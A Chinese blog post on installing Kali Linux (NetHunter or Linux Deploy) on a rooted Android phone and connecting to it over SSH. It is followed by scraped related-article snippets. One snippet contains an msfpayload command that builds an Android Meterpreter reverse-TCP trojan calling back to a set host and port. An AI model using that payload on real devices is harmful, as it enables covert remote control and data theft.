Android和kali的互操作性
1、手机上讲kali Linux系统安装上面实现小巧方便的移动渗透测试工具
其实我们都知道 Android操作系统是基于linux 开发的,这就为我们将kali linux 系统移植到手机上提供了原理上的支持。手机上安装kali -nethunter实际上是安装一个安卓Cyanogemod系统的ROM,然后在安装一个kali -nethubter系统,共同在手机内的重合系统,在使用kali 系统的时候手动切换到chroot 。本次安装就是使用kali-nethunter系统,但是整个过程的系统镜像我们自己制作,nethunter除了自带kali-linux的一些攻击工具之外还有一些特殊的功能,比方说HID键盘和BadUSB、EvilAP Mana攻击等。
在安装之前要确保的是手机系统必须已经获得了Root 权限和支持loop设置。这些系统占内存ROM上运行的很好,可以给更多的内存运行Linux ,除了之外设备必须确保开启了USB调试功能,同时在开始之前在SDK上(4G以上)存储一个kali linux 的镜像文件。
按照kali linux 的官网上说的 Kali Linux NetHunter 可以支持手机。首先安装软件linux deploy 之后安装提示 安装busybox pro 、VNC viewer 、终端模拟器。下载好相应的镜像文件。
2、如何制作自己的 NetHunter 系统
3、除此之外可以使用linux Deploy安装操作系统, 首先在play商店中下载linux deploy 软件,之后配置Linux系统的信息

之后点击安装 install 暗转完成之后选择启动系统,在Android设备上安装完kali linux 后,可默认启动SSH服务和VNC服务
在Windows系统中我们使用PuTTY软件实现远程连接到kali linux 操作系统,假设Android设备 的Kali Linux的IP地址是 192.168.6.103
连接的步骤如下:填入要连接的IP地址 ,选择连接的方式,点击连接即可

在Linux可上远程连接 命令: ssh android@192.168.6.103
同时在Android上可以下载超级终端连接linux ,软件有 ConnectBot、SSHDroid等,使用超级终端手机一定要活得root权限。必须安装Busybox工具箱
确保双方之间是可以通信的

需要在linux 中修改SSH 配置服务 允许可以远程认证的连接方式

我电脑上没有安装 Linux 所以为了方便在连接了两台远程,但是 不知道是哪里配置不正确,连接SSH连接不成功。暂且明天晚上再试试

Android和kali的互操作性的更多相关文章
- Kali Linux on Android # 实测:小米2s离线安装Kali Linux
小米2s 离线安装Kali Linux 2017年2月4日 by 小甘丶 前段时间也研究过一两天,没弄明白,今天突然来兴致了,说研究一下吧,结果一不小心,就弄明白了! 第一次研究,主要是没弄明白这个 ...
- 1.Kali安装到移动硬盘或者U盘中~Linux系通用方法(包括Android)
0.1.保证这个服务必须启动(虚拟机服务最好都启动) 0.2.看看U盘接口类型是否对应 1.安装第一步 2.安装第二步,选择kali镜像 3.设置存放位置(上面的名字无所谓,最后不会用它的,虚拟机只是 ...
- Kali for Android
使用设备:小米平板1 材料:Complete Linux Installer(好像是这个名字,很多应用商店都能下载,所以我就不用送上链接了) 进入app之后,按照着提示做就是了.关于镜像,也是在app ...
- kali linux android木马(内网+外网)
1,内网木马 先生成一个小马 msfpayload -p android/meterpreter/reverse_tcp LHOST=192.168.8.104 LPORT=5555 R > a ...
- Kali安装到移动硬盘或者U盘中~Linux系通用方法(包括Android)
0.1.保证这个服务必须启动(虚拟机服务最好都启动) 0.2.看看U盘接口类型是否对应 1.安装第一步 2.安装第二步,选择kali镜像 3.设置存放位置(上面的名字无所谓,最后不会用它的,虚拟机只是 ...
- 逆天Kali带你游遍大江南北~安全之前人铺路!
0.Linux基础学习(基本指令) http://www.cnblogs.com/dunitian/p/4822807.html 1.Kali安装到移动硬盘或者U盘中~Linux系列通用方法(包括An ...
- Android的Kotlin秘方(I):OnGlobalLayoutListener
春节后,又重新“开张”.各位高手请继续支持.谢谢! 原文标题:Kotlin recipes for Android (I): OnGlobalLayoutListener 原文链接:http://an ...
- 用Kotlin开发Android应用(I):介绍
关于Kotlin,网上已有一些介绍的文章,包括Antonio Leiva的这组blog翻译稿.不过,我还是想跟进它们.翻译它们,以锻炼自己的英文翻译.各位高手发现问题,请及时“拍砖”. 原文题目:Ko ...
- kali 渗透的一些笔记
kali实战笔记 17:55 2016/7/19 by: _Silvers kali系统安装后的配置及美化安装vmwareToolstar zxvf VMwareTools-sfsfsfasfasfs ...
随机推荐
- 通过pathinfo返回扩展名
strtolower(pathinfo(abs.php,PATHINFO_EXTENSION)); 小写 通过pathinfo返回扩展名 pathinfo() 函数以数组的形式返回文件路径的信息. p ...
- adb(Andorid Debug Bridge)安装和使用
以下是adb工具包最新2017Google官方版下载地址: ADB和Fastboot for Windows https://dl.google.com/android/repository/plat ...
- 2019年Java面试题基础系列228道(5)
21.存在两个类,B 继承 A,C 继承 B,我们能将 B 转换为C 么?如 C = (C) B: 这属于强制类型转换,如果被转换的B实例不是C类型,会有异常 比如你的ABC分别对应动物,猫,黑猫. ...
- Java中的IO流之输入流|乐字节
亲爱的乐字节的小伙伴们,小乐又来分享Java技术文章了.上一篇写到了IO流,这篇文章着重 谈谈输入流,再下次再说输出流. 点击回顾上一篇:乐字节Java之file.IO流基础知识和操作步骤 一. 输入 ...
- IP通信学习心得03
三.TCP.三次握手.四次挥手 1.TCP数据包结构 注: A:序列号字段是所发字节的第一个字节的序号. B:报头最大长度为60个字节(4bits),最小为20个字节. C: 发送窗口由接收窗口决定 ...
- synchronized的不足与redis分布式锁的使用
这里是一个简单模拟秒杀的逻辑,stock和orders为两个Map,分别模拟库存表和订单表 public void orderProductMockDiffUser(String productId) ...
- jdbc连接oracle的三种方法
jdbc连接oracle的三种方法 使用service_name,配置方式:jdbc:oracle:thin:@//<host>:<port>/<service_name ...
- 创建线程的三种方式(Thread、Runnable、Callable)
方式一:继承Thread类实现多线程: 1. 在Java中负责实现线程功能的类是java.lang.Thread 类. 2. 可以通过创建 Thread的实例来创建新的线程. 3. 每个线程都是通过某 ...
- smarty中常用的流程控制逻辑
if else {if $age > 18} <div>年满十八岁!</div> {else if $age > 16} <div>年满十六岁!< ...
- 字符串char vchar性能对比补充
Value CHAR(4) Storage Required VARCHAR(4) Storage Required '' ' ' 4 bytes '' 1 byte 'ab' 'ab ' 4 ...